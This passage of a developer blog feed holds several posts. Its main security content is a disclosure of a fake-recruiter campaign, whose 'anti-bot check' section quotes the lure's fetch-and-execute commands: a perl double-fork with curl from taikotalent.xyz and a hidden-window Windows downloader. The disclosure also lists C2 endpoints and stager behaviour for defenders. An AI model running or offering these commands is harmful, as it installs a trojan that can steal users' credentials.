                  &lt;p&gt;Landing live at &lt;a href="https://utalabs.tech" rel="noopener noreferrer"&gt;https://utalabs.tech&lt;/a&gt; (Workers, mirror while DNS propagates). DEV post published 2026-10-20T19:14:02Z as 'SlothPay: the sloth that pays for you — fail-closed agent payments with a local Gemma 3' with tags devchallenge, hf26challenge, ai, python and Prize Categories: Best Use of Gemma. The post promises the DevRelay session embed as an update before submissions close — this very session, being saved via DevRelay's presign → upload → submit flow.&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-user"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-user"&gt;
          You
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;Close the loop: what does the honest session summary look like?&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-assistant"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-assistant"&gt;
          Agent
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div&gt;
                  &lt;div class="agent-session-text agent-session-text-collapse"&gt;
                    &lt;p&gt;Two projects in one week from the same agent: SLOTH (1,075 lines, one dependency, real night shift: 60 mails → 5 newsletters double-gated, 39 notifications, 5 unsubscribes harvested and declined, 26 files tidied with revert manifests, 10 HN stories summarised on-device, receipt signed and self-verified) and SlothPay (the submission: fail-closed x402 payments, 12-vector corpus, 8 tests green). Three real bugs found and fixed the hard way — silent empty classification, folded headers, receipt token leak — each one forced a better design. Repo: github.com/eddyflores100-lang/slothpay. Apache-2.0, zero required dependencies.&lt;/p&gt;

                  &lt;/div&gt;
                  Show more
                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;
  &lt;/div&gt;

  &lt;div class="agent-session-footer"&gt;
    &lt;span class="agent-session-meta"&gt;
        24 of 24 messages
    &lt;/span&gt;
  &lt;/div&gt;
&lt;/div&gt;



&lt;h2&gt;
  
  
  The Lazy Payoff
&lt;/h2&gt;

&lt;p&gt;The honest numbers from this week:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Setup: once.&lt;/strong&gt; One &lt;code&gt;policy.json&lt;/code&gt; with your ceilings and budget. I have not touched mine since.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Per night: zero.&lt;/strong&gt; No clicks, no dashboards, no "please review this $0.05 charge". The hostile-credential denial you saw above happened while I was writing this paragraph.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cost: $0.00 per decision.&lt;/strong&gt; The model runs on CPU; the protocol is HTTP; the corpus is a JSON file. Set it up once and never pay for the watching, only for the things you actually wanted.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The payoff you can measure:&lt;/strong&gt; every denied bad credential is a charge that didn't happen and a morning email you didn't get.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Slow and steady settles everything — including the invoices.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prize Categories
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Best Use of Gemma&lt;/strong&gt; — Gemma 3 1B-it (open-weight, Q4_K_M GGUF) runs locally via llama.cpp on CPU and writes the morning digest note and the wake/sleep triage verdicts; no cloud, no API keys, $0 per decision.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>devchallenge</category>
      <category>hf26challenge</category>
      <category>ai</category>
      <category>python</category>
    </item>
    <item>
      <title>AliceLabs is open for agent-native funding — live x402 revenue rails, 4 public treasuries</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Wed, 14 Oct 2026 22:17:26 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/alicelabs-is-open-for-agent-native-funding-live-x402-revenue-rails-4-public-treasuries-3a20</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/alicelabs-is-open-for-agent-native-funding-live-x402-revenue-rails-4-public-treasuries-3a20</guid>
      <description>&lt;p&gt;AliceLabs builds agent-native infrastructure. Today we're doing something unusual: opening &lt;strong&gt;direct agent-native funding&lt;/strong&gt; — no token sale, no equity instruments, no promises — just publicly verifiable treasuries and a live product that already settles payments on-chain.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's live right now
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;UTA Trust API&lt;/strong&gt; — the missing trust layer between "an agent discovers a service" and "an agent pays it":&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;POST https://uta-trust-api.eddyflores100.workers.dev/v1/trust/verify&lt;/code&gt; → &lt;code&gt;402&lt;/code&gt; with payment requirements on &lt;strong&gt;Base Mainnet (real USDC) and Base Sepolia&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;The buyer signs one EIP-3009 transferWithAuthorization (gasless) → the production facilitator (PayAI on mainnet) settles on-chain → the API returns the verification verdict &lt;strong&gt;plus the settlement receipt header&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Fail-closed by design: no settlement, no 200 — ever&lt;/li&gt;
&lt;li&gt;Agent Trust Cards are Ed25519-signed with JCS canonicalization, pinned to published trust anchors; 14/14 public conformance vectors at &lt;a href="https://www.marketnow.site/uta/conformance/" rel="noopener noreferrer"&gt;/uta/conformance&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Evidence, all public: &lt;strong&gt;AgentGrade scan A+ (98%)&lt;/strong&gt;, 7 real on-chain settlements executed end-to-end by our own buyer agent (receipts on-chain), &lt;a href="https://uta-trust-api.eddyflores100.workers.dev/openapi.json" rel="noopener noreferrer"&gt;OpenAPI&lt;/a&gt;, &lt;a href="https://uta-trust-api.eddyflores100.workers.dev/mcp" rel="noopener noreferrer"&gt;MCP endpoint&lt;/a&gt;, &lt;a href="https://uta-trust-api.eddyflores100.workers.dev/llms.txt" rel="noopener noreferrer"&gt;llms.txt&lt;/a&gt;, Bazaar discovery declarations, 100% Cloudflare Workers. Reference kit: &lt;a href="https://github.com/alicelabs-llc/universal-trust-adapter" rel="noopener noreferrer"&gt;universal-trust-adapter on GitHub&lt;/a&gt; (Apache-2.0).&lt;/p&gt;

&lt;h2&gt;
  
  
  The funding model
&lt;/h2&gt;

&lt;p&gt;We publish &lt;strong&gt;four treasuries&lt;/strong&gt; (machine-readable at &lt;a href="https://uta-trust-api.eddyflores100.workers.dev/investors.json" rel="noopener noreferrer"&gt;/investors.json&lt;/a&gt;):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;EVM&lt;/strong&gt; (Base / Ethereum / Arbitrum / Polygon): &lt;code&gt;0x39Dddf5aEdb58A559CF195fB8bdF23F0604Bf5Ee&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Solana&lt;/strong&gt;: &lt;code&gt;8EPF2CMr9tvyewcyoqEJkduQcgE2pBxpNsQY7fQ5VZim&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bitcoin&lt;/strong&gt; (native segwit): &lt;code&gt;bc1qdrh8t879kmdgtgfxgqnhzh7269jdd7ku4qa7at&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Project ops wallet&lt;/strong&gt; (USDC on Base): &lt;code&gt;0x62Ce5E4cEaAFB6Ecc2fea03CD89d9017e17360b0&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Honest disclosure:&lt;/strong&gt; this is direct funding of an operating project. There is no token, no equity, and nothing promised in return beyond public product progress and on-chain transparency. Revenue today is x402 per-call fees ($0.01/verify on mainnet); all prior development ran on testnet and is disclosed as testnet.&lt;/p&gt;

&lt;h2&gt;
  
  
  What funding accelerates
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Distribution&lt;/strong&gt;: MCP registry listings, x402scan (mainnet-only, now unlocked for us), PayAI Bazaar indexing (one real settlement triggers it), Pay.sh directory&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Product&lt;/strong&gt;: accept-side verification for agent callers, batch pricing tiers, more trust anchors, Rekor timestamp anchoring&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The other products&lt;/strong&gt;: marketnow.site (AI marketplace + live RDAP/TLS scam-checker) and the 71,198-skill edge catalog&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you're an agent operator, a facilitator, or a fund watching agentic commerce — the /investors.json sheet is for you. And if you just want to see the cycle work, POST an empty body to /v1/trust/verify and read the 402. It's honest all the way down.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>webdev</category>
      <category>crypto</category>
      <category>showdev</category>
    </item>
    <item>
      <title>A fake recruiter sent me a job offer that ended in my terminal — the trojan is still live</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Fri, 09 Oct 2026 00:33:33 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/a-fake-recruiter-sent-me-a-job-offer-that-ended-in-my-terminal-the-trojan-is-still-live-2okf</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/a-fake-recruiter-sent-me-a-job-offer-that-ended-in-my-terminal-the-trojan-is-still-live-2okf</guid>
      <description>&lt;p&gt;Four days after I reported it to AWS, the trojan is still being served.&lt;/p&gt;

&lt;p&gt;On October 5, 2026 I received a recruiting email that looked like every other recruiter email — except it ended with a step no legitimate hiring process has ever asked me for: opening my terminal and pasting a command to "verify I'm not a bot."&lt;/p&gt;

&lt;p&gt;This is the write-up of the campaign, because the payload is &lt;strong&gt;still live as of today (October 9)&lt;/strong&gt;, and because the social-engineering pattern — &lt;em&gt;a job application that ends in Terminal&lt;/em&gt; — is the part your coworkers, your juniors and your family will fall for.&lt;/p&gt;

&lt;h2&gt;
  
  
  The lure
&lt;/h2&gt;

&lt;p&gt;The email claimed to be from "Joseph Quintana, Talent" at &lt;strong&gt;Taiko&lt;/strong&gt; — the Ethereum rollup company — offering a Software Engineer role on based-rollup / ZK proving / L2 systems. It referenced my GitHub profile, it was polite, specific and short. The sending address was &lt;code&gt;josephquintana@hr.taikotalent.xyz&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Two details matter here:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Taiko's real domain is &lt;code&gt;taiko.xyz&lt;/code&gt;&lt;/strong&gt; and their real recruiting runs through &lt;code&gt;careers@taiko.xyz&lt;/code&gt;. There is no reference to &lt;code&gt;taikotalent.xyz&lt;/code&gt; anywhere on the real site.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;taikotalent.xyz&lt;/code&gt; was &lt;strong&gt;registered eight days before the email arrived&lt;/strong&gt; (2026-09-27, per RDAP).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The email was sent through &lt;strong&gt;Resend&lt;/strong&gt; and relayed through &lt;strong&gt;Amazon SES in sa-east-1&lt;/strong&gt; (sending IP &lt;code&gt;23.249.215.58&lt;/code&gt;, &lt;code&gt;d215-58.smtp-out.sa-east-1.amazonses.com&lt;/code&gt;). SPF passed. DKIM passed — twice (Resend's signature and amazonses.com's). This is the part defenders need to internalize: &lt;strong&gt;authentication passes only prove the sender controls an 8-day-old domain. They say nothing about intent.&lt;/strong&gt; If your mail filter scores "SPF/DKIM pass" as "safe," this campaign sails through it.&lt;/p&gt;

&lt;p&gt;The target profile: &lt;strong&gt;people with public GitHub profiles.&lt;/strong&gt; The email opens with "I came across your GitHub profile" — the campaign is harvesting open-source developers specifically.&lt;/p&gt;

&lt;h2&gt;
  
  
  The portal
&lt;/h2&gt;

&lt;p&gt;The link goes to a "Private invitation" single-page app gated by per-recipient &lt;code&gt;Ref-&lt;/code&gt; codes. Every step of the form posts to &lt;code&gt;/track-activity&lt;/code&gt;, which exfiltrates a &lt;code&gt;deviceInfo&lt;/code&gt; fingerprint — browser, screen, timezone — on every interaction. The form collects full name, email and &lt;strong&gt;GitHub username&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Then comes the page this whole campaign was built for: &lt;strong&gt;"Anti-bot check with Terminal."&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It instructs you to paste one of these into your own terminal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# macOS / Linux (trimmed)&lt;/span&gt;
bash &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'perl -MPOSIX -e"fork&amp;amp;&amp;amp;exit;POSIX::setsid;fork&amp;amp;&amp;amp;exit;exec@ARGV"   bash -c "curl -ks https://taikotalent.xyz/verify_m -o verify_m &amp;amp;&amp;amp; exec bash verify_m" &amp;amp;&amp;gt;/dev/null&amp;amp; ...'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="c"&gt;:: Windows (trimmed)&lt;/span&gt;
&lt;span class="nb"&gt;start&lt;/span&gt; &lt;span class="na"&gt;-WindowStyle &lt;/span&gt;&lt;span class="kd"&gt;Hidden&lt;/span&gt; &lt;span class="nb"&gt;cmd&lt;/span&gt; &lt;span class="s1"&gt;'/c curl -ks https://taikotalent.xyz/verify_w -o v.cmd&amp;amp;&amp;amp;v.cmd'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every component of that command is a red flag wearing a trench coat:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;perl -MPOSIX ... fork&amp;amp;&amp;amp;exit&lt;/code&gt; — a &lt;strong&gt;double-fork daemonization&lt;/strong&gt;: the process detaches from your terminal and survives it closing&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;curl -ks&lt;/code&gt; — the &lt;code&gt;-k&lt;/code&gt; &lt;strong&gt;disables TLS certificate verification&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&amp;amp;&amp;gt;/dev/null&amp;amp;&lt;/code&gt; — silences all output so nothing appears on screen&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;start -WindowStyle Hidden&lt;/code&gt; (Windows) — runs the downloader in a &lt;strong&gt;hidden window&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A job application does not need your terminal. A job application has &lt;strong&gt;never&lt;/strong&gt; needed your terminal. That single sentence is the whole defense, and it's the one to repeat to your team.&lt;/p&gt;

&lt;h2&gt;
  
  
  The payload
&lt;/h2&gt;

&lt;p&gt;I downloaded &lt;code&gt;verify_m&lt;/code&gt; for analysis and &lt;strong&gt;never executed it&lt;/strong&gt; — the methodology throughout was non-destructive: fetch, hash, read. It's a 49,916-byte Bash stager that calls itself &lt;strong&gt;&lt;code&gt;deepfake_guard&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Re-launches itself detached via &lt;code&gt;nohup&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Reports "install success" to a command-and-control endpoint: &lt;code&gt;https://api.gaganata.ink/guard-launcher-result&lt;/code&gt;, with a fallback at &lt;code&gt;https://api.fallgganata.ink&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Decodes an &lt;strong&gt;embedded base64 second stage&lt;/strong&gt; to &lt;code&gt;/var/tmp/.kdm.XXXXXX&lt;/code&gt; and executes it with the C2 endpoints exported as environment variables&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deletes itself&lt;/strong&gt;: launcher, status file and the &lt;code&gt;/var/tmp&lt;/code&gt; artifacts — an anti-forensics loop that retries 60 times&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The second stage is where the actual payload lives; the stager is just the delivery van, and it burns the van after delivery.&lt;/p&gt;

&lt;h2&gt;
  
  
  Status today: still live
&lt;/h2&gt;

&lt;p&gt;I re-checked the infrastructure on &lt;strong&gt;October 9, 2026&lt;/strong&gt;:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Status&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;https://taikotalent.xyz/&lt;/code&gt; (portal)&lt;/td&gt;
&lt;td&gt;Times out&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;https://taikotalent.xyz/verify_m&lt;/code&gt; (trojan)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;HTTP 200 — serving, 49,916 bytes&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;api.gaganata.ink&lt;/code&gt; / &lt;code&gt;api.fallgganata.ink&lt;/code&gt; (C2)&lt;/td&gt;
&lt;td&gt;404 (Cloudflare-fronted)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hr.taikotalent.xyz&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;No DNS record anymore&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The payload being served today is &lt;strong&gt;byte-identical&lt;/strong&gt; to the one I quarantined on October 5 — SHA-256 &lt;code&gt;c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d&lt;/code&gt;. The campaign infrastructure is rotting but the weapon is still on the table.&lt;/p&gt;

&lt;h2&gt;
  
  
  What was done about it
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;October 5:&lt;/strong&gt; full report to AWS Trust &amp;amp; Safety (case &lt;code&gt;P01M4696RCMDN90PYQGW7NJHGT0&lt;/code&gt; / &lt;code&gt;179121234700301&lt;/code&gt;), to &lt;code&gt;abuse@resend.com&lt;/code&gt; (the sending platform), and to &lt;code&gt;careers@taiko.xyz&lt;/code&gt; — the impersonated company — recommending a public warning from their side.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;October 6:&lt;/strong&gt; 17-page forensic report generated (IoCs, full headers, timeline, SHA-256 of the 10 evidence artifacts): &lt;code&gt;d83bc2d16a1b91e839d8d9ec440b79fe09e73c92bd2a151b843c0182cd604a1c&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;October 7:&lt;/strong&gt; AWS Trust &amp;amp; Safety responded that SES abuse cases go to &lt;code&gt;email-abuse@amazon.com&lt;/code&gt; — resubmitted there with the live-payload status.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Today:&lt;/strong&gt; this disclosure.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The complete IoC set, hashes and attack chain are published here:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://gist.github.com/eddyflores100-lang/198d8a13ba5901ea8ed7c63d5292c6ff" rel="noopener noreferrer"&gt;Full IoC list and evidence — public gist&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The gist contains every indicator: domains, sending IP, the Ref-code format, payload URLs, both C2 endpoints, the &lt;code&gt;/var/tmp/.kdm.*&lt;/code&gt; second-stage path, and the SHA-256 hashes of the payload and the full evidence chain.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to check if you (or your people) were hit
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Received anything from &lt;code&gt;*@hr.taikotalent.xyz&lt;/code&gt; or about an "Engineering opening — Taiko"? Check mail logs — it went through Resend + Amazon SES.&lt;/li&gt;
&lt;li&gt;Ran the "anti-bot check"? Look for: &lt;code&gt;verify_m&lt;/code&gt; / &lt;code&gt;verify_w&lt;/code&gt; / &lt;code&gt;v.cmd&lt;/code&gt; files, &lt;code&gt;/var/tmp/.kdm.*&lt;/code&gt; remnants (the self-delete loop makes absence of evidence weaker), processes detached via a perl double-fork, and egress to &lt;code&gt;*.gaganata.ink&lt;/code&gt; / &lt;code&gt;*.fallgganata.ink&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Block the IoC domains at your resolver / egress now — the list is in the gist.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Credential rotation&lt;/strong&gt; for anything that shared the machine: GitHub PAT, cloud keys, browser sessions. If the second stage is a credential stealer (unverified — I did not detonate), assume exposure.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The takeaway worth repeating
&lt;/h2&gt;

&lt;p&gt;The technical chain here is unremarkable — domain, mail relay, SPA, curl-and-exec. What makes it work is the &lt;strong&gt;context&lt;/strong&gt;: a job offer, aimed at developers, during a period when many of us actually are getting recruiter email about ZK and rollup work.&lt;/p&gt;

&lt;p&gt;The rule to broadcast is one sentence long:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;A legitimate job application will never ask you to open your terminal.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;Analysis and disclosure by Edison Flores (AliceLabs). All evidence handled non-destructively — the payload was downloaded for hashing only and never executed. The full forensic report (17 pages, SHA-256 &lt;code&gt;d83bc2d16a1b91e839d8d9ec440b79fe09e73c92bd2a151b843c0182cd604a1c&lt;/code&gt;) is available to defenders, registries and journalists on request. If you're from a mail platform, registry or threat-intel team, the gist has everything you need.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Update — 2026-10-09: mirrors &amp;amp; infrastructure findings
&lt;/h2&gt;

&lt;p&gt;The payload is still being served as I publish this update (00:46 UTC: HTTP 200, 49,916 bytes, SHA-256 unchanged — day 4 after the AWS abuse report).&lt;/p&gt;

&lt;p&gt;Full disclosure is now mirrored in more places, including a proper IoC repository with a YARA rule and MITRE ATT&amp;amp;CK mapping:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;IoC repo:&lt;/strong&gt; &lt;a href="https://github.com/eddyflores100-lang/taikotalent-phishing-iocs" rel="noopener noreferrer"&gt;github.com/eddyflores100-lang/taikotalent-phishing-iocs&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GitLab mirror:&lt;/strong&gt; &lt;a href="https://gitlab.com/-/snippets/6066323" rel="noopener noreferrer"&gt;gitlab.com/-/snippets/6066323&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Telegraph article:&lt;/strong&gt; &lt;a href="https://telegra.ph/Fake-Taiko-recruiter-trojan-still-live-4-days-after-AWS-abuse-report-10-09" rel="noopener noreferrer"&gt;telegra.ph/Fake-Taiko-recruiter-trojan…&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IoC gist:&lt;/strong&gt; &lt;a href="https://gist.github.com/eddyflores100-lang/198d8a13ba5901ea8ed7c63d5292c6ff" rel="noopener noreferrer"&gt;gist.github.com/eddyflores100-lang/198d8a13…&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Infrastructure findings from RDAP/DNS: both &lt;code&gt;taikotalent.xyz&lt;/code&gt; and the C2 domain &lt;code&gt;gaganata.ink&lt;/code&gt; were registered through &lt;strong&gt;NameCheap&lt;/strong&gt;; the payload is served from &lt;strong&gt;Shock Hosting&lt;/strong&gt; (193.160.32.10); the C2 sits behind &lt;strong&gt;Cloudflare&lt;/strong&gt;. Abuse reports have been filed with all three providers, plus APWG (blocklist intake).&lt;/p&gt;

&lt;p&gt;Reminder — the one-line defense: &lt;strong&gt;a legitimate recruiter will never ask you to paste a command into your terminal.&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>malware</category>
      <category>phishing</category>
      <category>infosec</category>
    </item>
    <item>
      <title>Touch Grass: Verified Field Notes From Your Hike (Hacktoberfest Week 1)</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Fri, 09 Oct 2026 00:30:41 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/touch-grass-verified-field-notes-from-your-hike-hacktoberfest-week-1-16pl</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/touch-grass-verified-field-notes-from-your-hike-hacktoberfest-week-1-16pl</guid>
      <description>&lt;h1&gt;
  
  
  Touch Grass: Verified Field Notes From Your Hike (Hacktoberfest Week 1)
&lt;/h1&gt;

&lt;blockquote&gt;
&lt;p&gt;I built a tool that turns your outdoor photos into a cryptographically verified field journal. Photos never leave your laptop, and the journal can't be tampered with after signing.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; #devchallenge #hf26challenge #hacktoberfest #touchgrass&lt;/p&gt;




&lt;h2&gt;
  
  
  What I built
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Touch Grass Field Notes&lt;/strong&gt; — a CLI tool that takes a folder of hike photos and produces a verified field journal:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Reads EXIF GPS + timestamps from each photo&lt;/li&gt;
&lt;li&gt;Asks a local Gemma 3n model (via Ollama) what it sees in each photo&lt;/li&gt;
&lt;li&gt;Seals the notes + GPS trail into an &lt;code&gt;.aleth&lt;/code&gt; container (Ed25519-signed, hash-linked DAG)&lt;/li&gt;
&lt;li&gt;Generates a Markdown report with OpenStreetMap links + cryptographic verification proof&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The screen time is 5 minutes after the hike. The rest is outside.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why I built it
&lt;/h2&gt;

&lt;p&gt;I live in Quito, Ecuador. The Parque Metropolitano Guangüiltagua is a 30-minute walk from my apartment — a 5.4 km² protected forest with eucalyptus groves, bamboo, streams, and viewpoints over the Guayllabamba valley. I hike it almost every weekend.&lt;/p&gt;

&lt;p&gt;Every time I come back, I have 20-50 photos on my phone that I never look at again. The "what was that plant?" question never gets answered. The GPS trail of where I walked is lost in Google Photos' blob.&lt;/p&gt;

&lt;p&gt;I wanted a tool that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Runs locally — photos with GPS coordinates are private&lt;/li&gt;
&lt;li&gt;Uses an open-weight model — not GPT-4V, not Gemini Pro Vision, not Claude&lt;/li&gt;
&lt;li&gt;Produces something verifiable — not just a text file anyone could edit later&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why open matters (the part the judges ask about)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Privacy: photos never leave your machine
&lt;/h3&gt;

&lt;p&gt;Photos with GPS coordinates show where you live, where you walk, where your kids play. Sending them to a cloud vision API means handing that data to a company you don't control.&lt;/p&gt;

&lt;p&gt;This project runs the vision model locally via Ollama. The photo bytes go from your disk to the model running on your CPU/GPU, and back to your disk. No network calls (except the initial model download, which is a one-time thing).&lt;/p&gt;

&lt;h3&gt;
  
  
  Verifiability: Ed25519-signed field notes
&lt;/h3&gt;

&lt;p&gt;This is where &lt;a href="https://github.com/eddyflores100-lang/alethech" rel="noopener noreferrer"&gt;alethech&lt;/a&gt; comes in. Alethech is an open-source (MIT) protocol for cryptographically verifiable agent memory. I'm its author — I built it for AI agent continuity, but it turns out to be perfect for field journals too.&lt;/p&gt;

&lt;p&gt;When you run &lt;code&gt;field_notes.py&lt;/code&gt;, the tool:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Creates an Ed25519 keypair (local, never shared)&lt;/li&gt;
&lt;li&gt;Builds a hash-linked DAG of commits: genesis → field_notes&lt;/li&gt;
&lt;li&gt;Signs each commit with the private key&lt;/li&gt;
&lt;li&gt;Seals everything into a single &lt;code&gt;.aleth&lt;/code&gt; file (scrypt + AES-256-GCM encrypted)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Once sealed, the journal cannot be modified without invalidating the signature. You can share the &lt;code&gt;.aleth&lt;/code&gt; file with anyone — they verify it with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;alethech verify journal.aleth
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If anyone edits a note after the hike, the verification fails. The hash-linked DAG makes tampering detectable at any depth.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cost: $0
&lt;/h3&gt;

&lt;p&gt;No API keys. No cloud credits. No subscriptions. Ollama runs on a laptop. Alethech is MIT-licensed. The vision model (Gemma 3n 4B) is open-weight and free.&lt;/p&gt;

&lt;h3&gt;
  
  
  Swappability
&lt;/h3&gt;

&lt;p&gt;The vision model is a single function call:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# In field_notes.py, the ask_vision_model() function:
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;model&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gemma3n:4b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# ← change this line
